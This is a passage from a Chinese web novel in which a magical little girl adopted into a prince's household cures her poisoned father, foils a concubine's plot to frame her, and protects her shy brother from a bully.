王妃仍然有些难以置信:“您这眼疾,多少年了,无论是宫中太医还是民间名医都瞧了个遍,都说根本无法根治,居然一夜之间便痊愈了?“ “倒也不是痊愈,但确实已好了大半,这两日我勤照着些那铜镜,再看看罢。“ 两人对视了片刻,王妃目光诚挚:“您可愿将团团记入族谱?从此她便是我的女儿,是宁王府的嫡女。母亲,如今您可信了她是萧家祖宗送来的福星?” 老夫人沉思片刻,却仍旧摇了摇头:“此事不可草率。毕竟并非王府所出,来路不明。王府血脉,事关皇家,干系太大。” 王妃神情微滞,却也明白老夫人所虑并非毫无道理:“好,便依母亲所言。” “今日儿媳想带她去见见王爷。只盼着王爷能早日醒来,由他出面,定然可以给团团一个名正言顺的身份。” 老夫人轻轻点头:“老身与你们同去。” 申时,老夫人扶着顺姑,王妃牵着团团的小手,身后跟着刘嬷嬷,一同走进了养正轩。 养正轩是宁王萧元珩养病的院落,院中古柏森然,空气中透着一股清洌的草木香气。 “娘亲,这里好香啊。” “这是你爹爹的院子。”王妃低头,轻声告诉她:“你爹爹病了,这两年一直躺在床上,不能睁眼也不能说话,没法陪团团玩。” 三人来到内室,下人端来椅子放在床边,老夫人和王妃坐下,“都下去罢。“ 程如安眼圈一红:“来,团团,见见你爹爹。” 团团小脸皱了起来,她踮起脚尖,趴在床边,眼巴巴地望着床上男人的脸,软软唤了一声:“爹爹。” 萧元珩眉眼紧闭,脸色苍白,仿佛沉睡在另一个世界里。 “娘亲,爹爹真好看!” 程如安微微一笑:“娘亲也觉得爹爹好看,倘若他能醒来……”说着眼泪便流了下来。 团团又凑近了些:“爹爹!爹爹!我是团团!道长爷爷说,团团圆圆的那个团团哦!” 听到这话,老夫人的眼泪也忍不住了,哗地一下便冲出了眼眶,这是她的亲生儿子啊!原本那么勇猛的一员战将,怎么如今这样毫无声息地躺在病榻上? 一家人能团团圆圆,也是她最大的心愿了。 团团推了推萧元珩,没有推动分毫。“怎么还不醒呀,爹爹,团团来了。”她小嘴嘟囔着,忽然鼻头一皱,歪了歪脑袋,又耸着鼻尖嗅了嗅:“娘亲,爹爹身上,臭臭的。” “嗯?”王妃一愣。 团团继续吸了吸鼻子,小脸一板,认真地说:“爹爹的身上,有坏味道,像……泥里的烂树枝子!” 王妃与老夫人都站起了身,靠近了床榻,二人仔细闻了闻,却什么都没有闻到,程如安摇了摇头,不解地道:“没有啊。” 团团低头解开了自己腰间的小秀囊,一通翻找,掏出来一颗青色的小石子,将石子放进萧元珩的掌心,奶声奶气地说: “爹爹,给你。” 男人的大手苍白而厚实,几乎能包住团团的两只小手,团团用力将他的大手合拢,握住了那颗小如弹珠的石子。 忽而,一道柔和的青光自萧元珩的指缝中泛出,初时若有若无,如流萤初现,但紧接着光芒愈来愈盛,竟有一圈圈涟漪状的光芒晕出,围着他的手掌流转。 团团小手指着那光芒,咯咯咯地笑着:“娘亲!祖祖!爹爹的手亮啦!” 老夫人和王妃屏住了呼吸凝视着,不敢发出半点声音。 片刻之后,光芒转为白色,渐渐收敛,而后彻底消散。 萧元珩的手掌缓缓摊开,只见那青色的石子已经变成了黑色,并出现了些许裂纹。 王妃俯身将团团揽进怀中,声音轻柔,语气却极为慎重:“团团,这石子哪里来的?” 团团看着她:“这是我来找爹娘的时候,在小溪边捡到的啊。” 老夫人看了一眼程如安,喊了一声:“刘嬷嬷,带团团出去玩,仔细些,莫要磕碰到了。” 刘嬷嬷闻言走了进来,牵起团团的小手:“咱们去院子里玩好不好?” “好啊!”团团乖巧地点了点头,随着她往外走去。 王妃想到了什么,赶紧嘱咐了一句:“她若想捡什么便由她捡,拿不动就帮她拿。” 团团听见一下子高兴起来,娘亲说,什么都由她捡呢!拿不动还有人帮她拿!这可太好啦!回头大声喊了一句:“爹爹,我明日再来看你呀!” 眼看着她们走了出去,老夫人急忙吩咐:“快!快去请御医正郭太医来王府!” 第7章 把娘亲的院子捡满啦 不多时,郭太医到了,花白的胡须飘荡在胸前,一张老脸皱成了一团。 这京城他最不愿踏入的,便是宁王府,王爷这一家子的病症实在是古怪,根本无从医治。一趟一趟地来,一次一次无功而返,对他行医的信心简直就是一种凌迟。 但再怎么不愿意,他还是坐了下来,将手搭在了萧元珩的腕上,微微合眼,细心诊治。 片刻之后,他眉头一松,诧异地睁开了双眼:“奇了!今日王爷的脉象顺畅清和,虽仍旧神志未归却平缓安稳,与从前简直是判若两人。可是服了什么灵丹妙药?“ “当真么?”王妃神情激动。 老夫人缓缓取出那颗黑色的石子递给他:“你可识得,这是何物?” 郭太医接了过来,放在掌心仔细查看,片刻后脸色陡变:“这,这竟然是‘玲珑净厄珠’?!” “玲珑……什么珠?”王妃怔住了。 “玲珑净厄珠。《神农异宝录》中有载,此珠产自昆仑寒潭之底,千年方可得一枚。其性如冰,遇污则晦,遇毒则噬,色愈黑则毒愈烈。” “现下此珠竟已成墨色,说明王爷体内之厄,已被其尽数吸纳。此种宝物可遇而不可求,贵府当真是福运当头啊。” 程如安问道:“既然如此,王爷为何仍旧未醒?” 郭太医犹豫了片刻:“王爷沉疴数年,纵然如今因这玲珑净厄珠的功效解了体内之毒,仍需服用汤药数日才会醒转。请王妃莫要担心,老夫自会尽力为王爷医治。” “说来也是奇怪,王爷竟是中毒!老夫惭愧,数年为王爷诊脉,竟未能察觉,时至今日,此毒究竟为何物,老夫依旧不知啊。” 说完他便陷入了沉思。 郭太医年近五十,行医数载,任御医院正令,这京城中再没有人比他的医术更高明。 他一生沉迷此道,如今见到自己都无法察觉的毒物,如同老饕遇见了美食,竟是就此迷上了一般,一时竟想出了神。 老夫人与王妃悄然交换了一个对视,都未多言。 老夫人微微咳了一声,惊醒了还在沉思的郭太医:“此事还请郭太医为王府保密,切莫与他人提起。烦请太医给王爷开方,助我儿早日苏醒。” “是!是!老夫告退。”郭太医擦了擦额上的汗,退了下去。 程如安看着他的背影消失在养正轩的垂花门后,扑通一声跪倒在老夫人面前:“儿媳无能,日夜在王爷身边,竟不知王爷并非患病,而是中毒,请母亲责罚。” 老夫人伸手将她扶了起来:“这也怪不得你,御医正都诊不出来,你又如何能够知晓。” 王妃低头思索了片刻:“母亲,如今祠堂,王爷接连出事,这暗中下手的,必是王府中人。” “依儿媳浅见,如今之计,唯有暗中细细查访,慎防打草惊蛇。” 老夫人看着床上儿子的脸庞,恨恨地道:“你所虑极是,待找出此人,老身必要将其碎尸万段,方能解我心头之恨!“ “母亲,团团……“ 老夫人摆了摆手:“不必多言,从今日起,她便是宁王府的嫡女,稍后我亲自去祠堂叩拜祖宗,晚些让顺姑告知府中众人。” 王妃大喜过望:“多谢母亲!” 程如安想将这个好消息亲口告诉团团,哪知刚走到静兰苑的门口,便惊得停住了脚步。 只见苑内的地上,摆满了各种各样稀奇古怪的东西,罗列堆叠,她的脚抬起来又放回了原处,没再迈进去,怎么迈?简直是寸步难行。 她往里望去,只见一堆又一堆的破烂,有的大,有的小,已经从门口延伸到了回廊,再堆便要进入内室了! 枯枝、落叶、香囊挂坠、手炉穗子、残了半边翅膀的纸鸢…… 程如安看得脑袋直疼,惹不住扶额。 “娘亲!娘亲!你看!我捡回来这么多宝贝!“团团从里面向她飞奔而来。 她腰间那个漂亮的小秀囊此刻已经鼓得溜圆,连袋口都系不严了,而静兰苑的几个下人也早已放弃挣扎,站在一旁,手中还都捧着大大小小各种稀奇古怪的东西。 “这都是你捡的?我都不知道王府里还有这些玩意儿……你这是,把整个王府都翻过来了吧?” 程如安瞠目结舌地看着自己精心打理的院落被生生的搞成了破烂回收站,一时竟不知该怒还是该笑。 团团撇了撇嘴,奶声奶气地搂着她的大腿:“不是娘亲说的,我想捡什么就捡什么吗?拿不动让她们帮我拿!娘亲最好啦!“ “……“程如安一时失声。 旁边的下人们双肩抖动,忍笑忍得很辛苦。 “娘亲不记得了吗?娘亲不可以哄骗团团。” “我没有说不让你捡……” “那我明天继续捡,好不好?” “……” 程如安叹了口气,蹲下将她抱在怀里,语气宠溺得像是要滴出水来:“明日娘亲就让刘嬷嬷给你腾出一个大大的屋子,专门放你这些宝贝。“ “以后啊,就别往娘亲的院子里堆了,好不好?” “真的嘛?”团团瞪大了眼睛,脸上两个酒窝瞬间炸开。 “比珍珠都真!”王妃失笑:“走,咱们先去吃饭饭,都是你爱吃的……“她牵起女儿的小手,一起说着笑着,走进了内室。 傍晚时分,顺姑亲自走遍了王府的各个院落,告知所有人,奉老夫人命,即日起,团团为王府嫡女,所有人必须以嫡女礼节待之,不可怠慢。 凌霜阁内,方清研正用一块细绢裹着一个煮熟后晾凉的鸡蛋在脸颊上来回滚动着,给火辣辣的脸消肿止痛。 听到顺姑的传话,她的手猛地一紧,鸡蛋被捏得粉碎,从细绢的裂口中掉出了无数的渣滓,粘在了脸上。 锦绣大惊:“娘娘!”连忙去打水给她洗脸。 王府中原本只有自己女儿一个女孩,虽是庶出,但在外人看来,王府独女,地位也算尊贵。 如今却冒出来一个嫡女!生生压了自己的孩子一头!有了嫡女,庶女还能有什么前程?将来婚配,那些皇族权贵们的目光,便不可能落到女儿身上了。 方清研气得胸口直疼,晚饭都吃不下去,站在窗边望着外面不远处,王府花园中的几棵老树。 突然,她笑了。 锦绣心中有些发毛:“娘娘您莫非是,气懵了?” 方清研瞪了她一眼:“闭嘴。明日你遣个小厮回趟方家,将表少爷和表小姐请来,就说我想他们了,接过来小住。” “接他们过来?”锦绣不解,这两位少爷小姐,脾气十分骄纵,娘娘素日也是不甚喜爱的,接她们来王府做什么呢? “如今老太太和王妃都给那野丫头撑腰,若想把这个野种轰出王府,便要给她安个足够重的罪名。“ “小小年纪,心思歹毒,不敬兄姐,企图谋害,这罪名,足够了。” 方清研想到得意处,笑得唇角咧开,却不小心扯痛了还红肿的脸:“哎哟!” 第8章 被陷害了 自从那日去过养正轩后,团团每日都会乖乖地跟着王妃和老夫人,一起去看望那“睡着的爹爹”。 往日里寂静沉闷的院落,因为她的到来而充满了鲜活。 “爹爹!娘亲给了我一个大大的屋子,我的宝贝有地方藏啦!“ ”爹爹!池子里的鱼鱼被我喂撑啦!“ “爹爹!我教会咱们院子里的小鸟说团团啦!” 哪怕没有丝毫回应,她也能自说自话地在旁边念叨个不停。 王妃偶尔心中酸楚,眼泪还未滴落,便被她的童言童语逗地勾起了嘴角。 老夫人年纪大了,不喜吵闹,团团又吵又黏人,她却半点不烦,反倒生出几分依恋:“有了这孩子啊,老身都觉得自己的精神,比从前强多了。” 王妃看在眼中,心中满是欣慰。 府中下人们也习惯了这位天降的王府嫡女。 “你瞧见没,那个新来的小女娃,长得可真水灵!” “可不是嘛!笑起来脸上那两个小酒窝,像极了咱们王妃!“ “对对!我最喜欢看她笑了,那小酒窝看着跟装着蜜似的,甜死个人了。” “不但长得好,脾气也好!我今儿早上打水,路上碰见她,她竟然给我让路呢!还笑着跟我打招呼说嬷嬷好,真是懂礼数!“ “就是就是!那孩子走到哪儿都笑嘻嘻的,一点架子也没有,当真是招人疼得很。” 于是乎,不过短短几日,团团便成了整个王府上上下下都宠爱的宝宝。 当然,除了凌霜阁。 这日正午,刘嬷嬷跟程如安低声禀告:“今日一早,方侧妃娘家的那两个孩子进了凌霜阁,说是想她了,要小住几日。” 程如安眉头微蹙:“她的心思我懂,不愿府中多个嫡女,更担心我若是有了自己嫡亲的孩儿,便会威胁她在府中的地位,真是胡思乱想。” 她无奈地摇了摇头:“我是嫡母,虽膝下无出,但王府中所有的孩子都是我的孩子。我啊,巴不得咱们府里人丁兴旺,王爷将来才能后继有人。” 刘嬷嬷叹了口气:“王妃英明,只是这心眼小的人,总是忖度着旁人也同她一般,所以才不停地给咱们这儿下绊子。” 程如安看了眼正在花台边逗小鸟的团团:“团团,来娘亲这里。” 团团跑了过来:“娘亲!”一头扎进了她的怀里,蹭来蹭去。 王妃摸着她的小脑袋:“侧妃家的两个孩子今天住进来了,论宗族中的辈分,那是你的哥哥和姐姐,但并非你爹爹的孩子,你若是遇见他们,注意礼数就好。” “晓得啦!娘亲!他们是我的哥哥和姐姐,但不是亲的!”团团乖巧地回应。 “真乖!”程如安在她的脸上亲了一口:“你是咱们府里唯一的嫡女,是娘亲的孩子,不必忍让他们。若是他们欺负了你,尽管来告诉娘亲,莫要委屈了自己。” 团团歪着脑袋想了想:“嗯!我懂了。” 程如安思索片刻:“刘嬷嬷,即刻去将几个少爷接回府,团团也确实该有几个玩伴才好。“ 她顿了顿,语气更温柔了几分:“为着太医说王爷的病需静养不得惊扰,我才不得已让他们都住去了书院。如今团团来了,王爷的病也有了起色,是时候一家团聚了。” “是,老奴这就去安排。“刘嬷嬷应道。 次日上午,阳光明媚,清风微拂,天气正好。 团团蹲在花园的地上找蚂蚁窝,身边只有一个静兰苑里的婢女相陪。 突然,背后传来一声嗤笑。 一个女孩的声音响起:“你就是那个捡来的野孩子?” 团团抬起头,只见两个衣着鲜亮的小孩子站在树下,一男一女,女孩双手抱胸,眼神高傲,正低头俯视着自己,身后还跟着两个凌霜阁的下人。 这就是娘亲说的哥哥和姐姐?长得还真像那个黑婆婆。 团团拍拍膝盖上的灰尘,站了起来:“我是娘亲的孩子,娘亲说我是府里的嫡女哦,你是谁?你也是嫡女吗?” 女孩脸上的神情一僵,眼珠子转了转:“你算什么嫡女!你是外面捡来的野孩子!” 团团眨巴了一下眼睛,神情狡黠,娘亲说过,我是唯一的嫡女,她不是! “对啊!我是娘亲捡来的,但我是嫡女,你不是!” “什么嫡女!你又不是王妃亲生的。”男孩冷不丁地补了一句。 团团一听,撅起了小嘴:“那你们是我娘亲亲生的吗?“ 男孩愣了一下:“我们不是。“ 团团笑了,小酒窝时隐时现:“你们不是,我也不是,但我是嫡女,你们不是!“ 女孩被她的一番“嫡女论“给噎住了,一时间想不到用什么话来反驳,脸蛋涨得通红:“嫡女有什么用!“她伸手一指旁边的一棵老树:”我们敢爬,你敢吗?“ 团团插着小腰,挺了挺胸膛:“有什么不敢!“ 男孩看了她一眼,走到树下,作势便要爬。 跟随的下人们刚才见几个小主子斗嘴,都不敢插手,但眼见的几个小孩子真的要爬树,皆连忙劝阻:“几个小祖宗哦,别爬了,这要是有什么闪失,奴才们可担待不起。” 男孩充耳不闻,手脚并用,几下便爬到了距地面最近的枝杈上:“敢就上来啊!“ 女孩子斜了团团一眼,也爬了上去,够不到的地方,她哥哥还帮忙拉了一把,两人坐在树杈上看着下面的团团:“有本事你爬上来啊!” 老树枝叶繁茂,枝杈低垂,他们坐着的地方,距离地面也不过只有半人多高。 团团哼了一声,学着两人的样子,抱紧了树干,一点一点地向上攀爬。 下人们见势不妙,都纷纷跑回去禀告,此时只有凌霜阁的一个下人,仍站在树下。 团团比他们小几岁,短胳膊短腿,又无人相助,爬得脸上的汗都滴了下来,才终于也坐上了那个枝杈。 “我爬上来啦!” “啊——”一声惊呼,女孩竟直接从枝杈上翻身跌落。 旁边的下人眼疾手快地接了一把,但她还是一屁墩坐在了地上。 此时,程如安和方清研两人均已匆匆赶到,刚好共同目睹了这一幕。 女孩哇哇大哭起来,用手指着树上的团团:“她推我!她是坏孩子!想摔死我!” 团团一愣:“我没有!是你自己摔下去的!” 男孩开口帮腔:“我看见了!就是你推了我妹妹!” 那个一直都在的下人也接口:“奴才也看到了,确实如此。“ “不哭不哭,摔到哪里了?疼不疼?“方清研将女孩扶起来,搂进怀里,抬头看向团团,一脸怒气:“你这个孩子!怎能把她从树上推下来!小小年纪,心思这般歹毒!” 第9章 三哥哥又好看又害羞 “娘亲!他们胡说!我才没有推她呢!“团团趴在树杈上,望着走过来的程如安,委屈地瘪着小嘴巴。 程如安扫视众人,缓缓走到老树下,看向树上的两个孩子,“都愣着干什么,快把他们扶下来。” 下人们闻言急忙上前,将两个孩子接了下来。 团团扑进她的怀里,眼圈一红,眼泪在长长的睫毛上挂着,却倔强地硬是不落下来。 程如安弯腰护住她:“乖,不怕,告诉娘亲,发生了什么?” 团团吸了吸鼻子:“他们说我是捡来的野孩子,不是娘亲生的。还说我没本事,不会爬树。我刚爬上去,那个小姐姐就掉下去了!娘亲,我没碰她!” 话刚说完,那两个孩子立刻炸了锅:“骗人!就是你推的我!” “我都看到了!就是她推了我妹妹!” 方清研叹了口气:“姐姐,我知道你心疼团团,可这谁家的孩子谁心疼,小孩子胡闹,拌拌嘴也就罢了。因为几句口角,便心生恶念,不敬兄姐,还动手加害。” 她摇了摇头,看了一眼此时已聚集过来的王府下人们,故意提高了声音:“孩子们尚且年幼,岂会说谎!此等品行,姐姐该严加管教才是。否则岂不是让外人看咱们王府的笑话?“ 程如安冷冷地看了她一眼,正想开口,“娘亲!”团团仰起小脸,气鼓鼓地指着躲在方清研身后,探出个头的女孩:“不信你问她!” 程如安冰冷的目光扫过女孩的脸,女孩并未受伤,早已收了嚎哭,被她的目光看得浑身一哆嗦,缩了缩脖子。 团团解开腰间的绣囊,掏出了一截白色的小骨头,高高举起,奶声奶气地道:“知道这是什么吗?这可是妖怪的骨头哦!” “谁要是说谎,这骨头就会让谁肚子痛!痛得打滚那种,以后再想说真话也没用啦,一说话就会痛!“ 她看着那个女孩子,用骨头指着她:“你说!是不是我推的你?咱们试试吧?” 程如安看着她手里的小骨头,目光闪动。 女孩吓得直往方清研身后躲,脑袋都不敢探出来了,却仍然强撑着嘴硬:“你、你骗人!我才不怕呢!就是你推的我!” 话音刚落,她便捂着肚子“哎哟”一声,疼得弯下了腰,蹲在了地上,眼泪“唰”地落了下来:“好疼!呜呜……我肚子好疼!别、别咬我,我说,我说还不行吗!” 方清研见状慌了神,赶忙将她扶了起来:“她吓唬你的!怎么可能肚子真的就疼了!别怕!有姑母在这儿呢!” 女孩子看了看她,又看了看团团,半信半疑的小声嘟囔:“是她,就是她……哎呦!肚子好疼!比刚才还疼!“ 她捂着肚子滚倒在地上,再也顾不得其他,一想到以后一说话肚子就会这样疼,嘴里连珠炮地喊了出来。 “是姑母让我这样说的!说这样就能让她滚出王府,她,她,她是个野种!不是嫡女!不是我想撒谎的,呜呜呜……” 方清研一把捂住了她的嘴,脸上顿时青一阵白一阵:“你胡说什么?我几时让你说的?小小年纪,怎么说谎骗人呢?” 程如安淡淡开口,用她刚才的话将她怼了回去:“是啊,她尚且年幼,岂会说谎呢?” 方清研的嘴巴张了张,一句话都说不出来。 程如安沉下了脸:“跪下!” 方清研无奈,只得跪在了她面前。 “侧妃方氏,教唆犯错,扰乱后宅,掌嘴十下,就在这儿打。” “是。”刘嬷嬷闻言走了上来,啪啪啪!巴掌声顷刻间响了起来。 “你!“王妃手一指,正是刚才帮腔的那个凌霜阁的下人:“仗责二十,逐出王府,永不录用。” “至于你们两个。”她看了看已经吓傻了的两个孩子:“明日便送回去吧,再不必留在王府。” 说完她抱起了团团,在她的小脸蛋上亲了一口:“走,娘亲给你做的糖糕刚刚出锅,咱们回去吃。“ 静兰苑。 团团回来的时候情绪有些低落,像一只瘪了气的小团子。 王妃亲手拿起雪白的糖糕喂到她嘴边,柔声轻哄:“团团方才做得很好!没让旁人欺负了去,真是厉害!团团是娘亲的好女儿!“ 软糯香甜的糖糕一口一口地吃进了肚子,团团这才眉开眼笑起来。 门外传来下人的声音:“启禀王妃,三少爷到了。” “快让他进来。” 门帘掀起,一个身穿藏青短袍的少年走了进来,下跪行礼:“孩儿回来了,给母亲请安。“ “起来吧,团团,来,见见你三哥,这才是你爹爹的孩子。“ 团团睁大了眼睛,嘴角咧开,酒窝浮现,朝着少年便扑了过去:“三哥哥!” 少年刚刚站起,身形瘦削但眉眼俊朗,眼神中带着几分羞涩,看见团团扑过来,愣了一下,赶忙伸出手臂接住了她,两个耳朵一下子变得通红。 他仔细地打量着团团,脸红得像涂了胭脂,张了好几次嘴,才轻轻的问了一句:“你,你是,我妹妹?” 团团指了指自己:“嗯嗯!我是你妹妹,团团妹妹。” 他低头看着她白嫩的脸蛋,声音非常轻柔缓慢:“我是你三哥,宁珣。” 团团望着他的脸,爹爹好看,爹爹的儿子也都这么好看么?眼睛好亮啊!身上香香的!团团有哥哥啦! 团团抱着他的胳膊,像根小树藤似的缠了上去,拉着他就往桌边走,把他按在了椅子里:“哥哥,娘亲给我做了糖糕!咱们一起吃好不好?” 萧宁珣的声音依旧低柔:“好。“ 团团学着刚才娘亲的样子,拿起糖糕喂到他嘴边:“娘亲给我做的,也是哥哥的!你吃啊,哥哥!甜不甜哪?“ 萧宁珣吃了一块,耳朵红得更厉害了:“嗯,甜。“ 这个小妹妹真可爱啊,这样白白嫩嫩,软软绵绵的,像……像这碟子糖糕一样! 他眼神闪了闪:“团团,刚才有没有吓到啊?”他刚进府,便都听说了。 团团瘪了瘪嘴:“有一点。” 萧宁珣目光陡然变得冷冽:“以后,若是有人欺负你,就告诉我,三哥给你出气!” “嗯!“团团使劲的点了下头,又投喂了一块糖糕给他。 程如安在一旁看着,忍不住微微一笑,两个孩子相处得还真好,也是,团团这样的孩子,谁能不喜爱呢? 一家三口正其乐融融,门外却响起了下人急匆匆的声音:“启禀王妃!户部侍郎顾大人的夫人带着一大群人,气势汹汹地在门外求见!” 程如安问:“何事求见?“ “说是,三少爷打了他家的二公子!“ 第10章 居然敢上门欺负三哥哥 程如安看了儿子一眼,萧宁珣缓缓站了起来,看着她,嘴唇动了动,却说不出话来。 团团抬头看了看哥哥,哥哥打架了?哥哥这么好,一定是有人欺负了他! 程如安吩咐:“将人请到正厅稍坐,我即刻便到。“ 王府正厅。 顾侍郎的夫人杜令仪带着儿子顾承霄坐在椅中,身后十余个下人,乌压压站了一片,见到王妃带着儿女走进来,站起行礼:”见过王妃。“ 程如安点了点头,在上首落座,萧宁珣和团团站在她的身侧。 “坐吧,不知顾夫人今日登门,所为何事?” 顾夫人名叫杜令仪,三十不到,满头珠翠,一身怒气,听罢理直气壮地开了口。 “王妃娘娘,犬子顾承霄今日在书院被贵府三少爷无故殴打,以致伤痕累累。今日登门,便是要为小儿要个公道。“ 她横了一眼萧宁珣:“贵府三少爷年纪不大,脾气却不小,莫非是仗着宁王府的势,不将我这小小的户部侍郎放在眼里了?“ 程如安冷冷地看了她一眼:“杜夫人此言从何说起?若当真是小儿之错,我自会秉公处置,宁王府又岂会仗势欺人?“ 杜令仪马上接口:“既然如此,便请王妃看看小儿这脸上的伤,给个交代罢。“ 顾承霄听到母亲所言,马上站起身,上前几步,将脸抬高,左右侧了一下,让所有人都看清楚自己脸上的淤青,嘴里还连声地喊:“哎呦!好疼!“ 程如安看了看他的脸,目光转向儿子:“珣儿,顾公子这伤确是你所为?“ 萧宁珣有心澄清,但看着这一大屋子的人,往日那种熟悉的恐惧感再次涌上心头。 他素来很惧怕被人注视,尤其是被许多不熟悉的人一同注视,更让他无法克制心中的恐惧,虽然很想为自己辩解,但想说的话都被卡在了喉咙里,脸涨得通红,却一个字都吐不出来。 顾承霄指着自己的脸,咄咄逼人:”你敢说不是你打的?书院可有的是人为我作证!“ 在所有人的注视下,萧宁珣默默点了点头,承认了确实是自己打伤的。 程如安了解自己的儿子,知道这种情形下,萧宁珣是无法开口说话的,她垂下眼帘,暗暗叹气,眼前这件事,看来只能是王府认下了。 杜令仪一脸得意:“既然已经认了……“ “哥哥可没说哦!“团团瞪着顾承霄,小胸脯一鼓一鼓的,她是真的生气了,眼睛都瞪圆了,为了什么打架都不知道,怎么就是哥哥的错了?怎么能这样欺负哥哥! 杜令仪瞪回她:“宁王府的孩子,都是这般蛮横无理吗?!” 顾承霄根本没把团团放在眼里,只冲着萧宁珣,多年同窗,他对他的毛病了如指掌:“萧宁珣!你既敢动手打人,怎的此时连句话都说不出来?“ “哦——”他拖长了调子,一脸讥笑:“原是个哑巴,难怪。” 这声“哑巴”,让萧宁珣的手猛地一紧,他的脸红得像是要滴出血来,控制不住的有些浑身颤抖。 “你才是哑巴!我哥哥不是!”团团用自己的两只小手紧紧握住他攥得紧紧的一只大手,用力拉了拉他。 萧宁珣低头看着妹妹,她仰着小脸,眼睛一眨一眨,声音非常清晰:“哥哥,你说吧。你能说的,团团知道。” 似有一股暖流从妹妹的手中流了过来,顺着手臂趴上肩膀,又沿着脊背一寸寸往下,刹那间流遍了全身。 萧宁珣只觉得那暖流在自己身上不断壮大,渐有滂沱之势,而后在身体里横冲直撞。 聚集在心头的惧怕仿佛经年被严寒堵住的河道,被那暖流不停冲刷,终于冲破禁锢,奔流千里。 他胸口起伏,喉结滚动,呼吸急促,张开了嘴:“是他!” 他咬字异常清晰:“是他先取笑我,又取笑父亲,我……我才动手的。” 杜令仪眼神一动,顾承霄先是一愣,带了这么多人过来,怎么这哑巴居然还能开口说话? 随后冷笑:“你倒是会倒打一耙,怎么,以为回到了王府,就能颠倒是非了?我怎么取笑了?我又没有说错!宁王府厄运缠身,一家子全是怪病,早就大不如前……” 他话还没说完,萧宁珣把团团往自己身后一拉,猛地弯下腰,右手探入靴筒,左手拉开刀鞘,一把匕首“铮”地一声插在了桌案边缘:“你再敢多说一个字试试!” 程如安心头一跳,那匕首刃如秋水,柄上的五彩玄蛇图案清晰可见,正是宁王亲手打造,送给儿子防身的。 厅中众人一片哗然,顾承霄下意识退了几步,跌坐在椅子里。 杜令仪眼睛瞪得溜圆:“王妃!你还不管管吗?当着长辈的面,贵公子这是要持刀行凶不成?” 程如安这才出声:“今日之事,不过因口角之争而起。我儿固然是动了手,但贵府公子口不择言,对宁王府出言不逊,也不是毫无过错。“ 她顿了顿,加重了语气:“顾夫人口中所言,无故殴打,显然并非如此,而是事出有因啊。“ 杜令仪听后哑然。 程如安看了一眼顾承霄满脸的淤青,有心息事宁人:“既然双方都有过错,不如就此揭过,不必为此小儿之争,伤了两府的和气。” 团团此时钻到了她的怀中,踮了踮脚,顺着裙角悄悄往上爬,程如安赶紧扶住了她,将她抱到腿上。 团团圈住她的脖子,嘴巴凑到耳边,用只有娘亲能听到的声音说起了悄悄话:“娘亲,哥哥的玉佩,是黑的!很坏,那个坏蛋的玉佩,是好东西,咱们换过来嘛。” 程如安指尖一顿,眼角余光扫过儿子腰间的玉佩,那是王府旧物,儿子佩戴多年,价值不菲,又瞄了一眼顾承霄腰间的玉佩,虽刻有云纹,却平平无奇,一看便不是上佳的成色。 但她现在毫无条件地信任自己的女儿,既是她说的,一定有她的道理。 “但贵府公子毕竟是被珣儿伤到了,”她抚了抚女儿的小脑袋,口风一转,端庄地笑了笑:“珣儿,便将你的玉佩赠与他吧,以示咱们王府的歉意。” 抬手指向顾承霄腰间:“顾夫人,此事顾公子也并非全无错处,不如这样,也请顾公子将腰间的玉佩赠与我儿。” “今后在书院,两个孩子还是要同窗为友的,不可伤了彼此的同窗之情,就此化解今日不快。顾夫人意下如何?” 杜令仪眼睛一亮,萧宁珣身上那块老玉,一看就价值连城,自己儿子身上这块,不过是过年时长辈的年礼而已,差得远了,如此交换,自家赚大了。 于是她假装思索了片刻,“既然王妃开口,如此处置也罢。” 她装得很大度:“都是少年人嘛,血气方刚,也是难免。” 两个少年走上前来,解下腰中玉佩,互相交换。 团团眼看着哥哥将顾承霄的玉佩稳稳地系在了腰上,眼中闪过一抹狡黠,冲着哥哥伸出了小手,“哥哥,抱。” 第11章 黑婆婆又被罚啦 萧宁珣连忙将她从母亲怀中接了过来,让她稳稳地坐在自己的臂弯里。 团团搂住他的脖子,小脸埋进他的颈窝,贴着他的耳朵说:“哥哥,这个玉好,有红红的光,你戴着,以后就能说好多好多话啦!” 萧宁珣愣了一下,耳朵又红了:“谢谢团团。” “府中事多。”程如安看着杜令仪,“顾夫人请便,送客。” “多谢王妃。”杜令仪自以为此行大获全胜,毫不掩饰脸上的得意,带着儿子行了个礼,转身走了出去。 程如安目送他们走远,朝萧宁珣招手:“过来。” 萧宁珣走上前来,王妃拿起他腰间玉佩,手指摩挲了几下,质地颜色皆是一般,看不出丝毫异状。 她的声音压低了些:“你那玉佩,可是一直戴在身上?” 萧宁珣怔了怔,回忆了一下,“搬去书院之前,孩儿曾去过祠堂,将玉佩放在祠堂里供奉过一夜,求祖宗庇佑。” 祠堂!断福蛊!程如安眼神一沉,原来如此!所以团团才说那玉佩是坏的,会咬人,想来是个不祥之物。 本来这东西,让宁珣摘掉即可,可如今,却到了顾承霄的身上,这孩子,这是护着她哥哥,要给他出气呢! 她会心一笑,捏了捏团团的小脸蛋:“真是我的好女儿!” “嗯!”萧宁珣接口:“也是我的好妹妹!” 团团被两人夸得眉眼飞起,骄傲得如同长出了尾巴要来回摇摆,在萧宁珣的怀里摇头晃脑,扭来扭去:“团团最好啦!” 王府门口,顾承霄翻身上马,杜令仪钻进软轿,一行人回府。 才走出不远,不知哪里地飘来一只鼓鼓囊囊的纸鸢,从顾承霄身边飘过,纸尾正好拂过他坐骑的耳尖。 马儿顿时受惊,嘶鸣一声,前蹄高抬,立了起来。 顾承霄从鞍上滚落在地,还未来得及爬起,惊马一脚踏下,正踩在膝盖上,还来回碾了两下。 “卡卡”,骨头的碎裂声响起,顾承霄一声惨叫,眼前一黑,晕倒在地,而他腰间新得的玉佩也被摔出了无数裂纹。 “二少爷!”下人们顿时乱作一团。 与此同时,团团似有所感,顿时眼睛一亮,对着哥哥露出了一个甜甜的笑容,小手一指,“哥哥,咱们一起去看爹爹吧。” “去吧。”程如安点头,“刘嬷嬷,你跟着。” “是。” 片刻后,两小只手牵着手,轻手轻脚地走进了养正轩。 屋里静得像一口深井,只有浓浓的药香飘在空中。 团团凑到榻边,手指头勾着被角:“爹爹,哥哥回来啦,你怎么还不醒啊?你睁开眼睛,看一眼团团好不好?” 萧元珩仍旧和往常一样,一动不动。 团团的嘴巴瘪了起来:“爹爹,我都来看了你好多回了,你都不醒。是不想看见团团吗?“ 萧宁珣从她身后把她抱进怀里安慰着她:“不是的。爹爹喜欢团团。只是,他动不了,没法告诉你。” 团团抬起脑袋:“真的?” 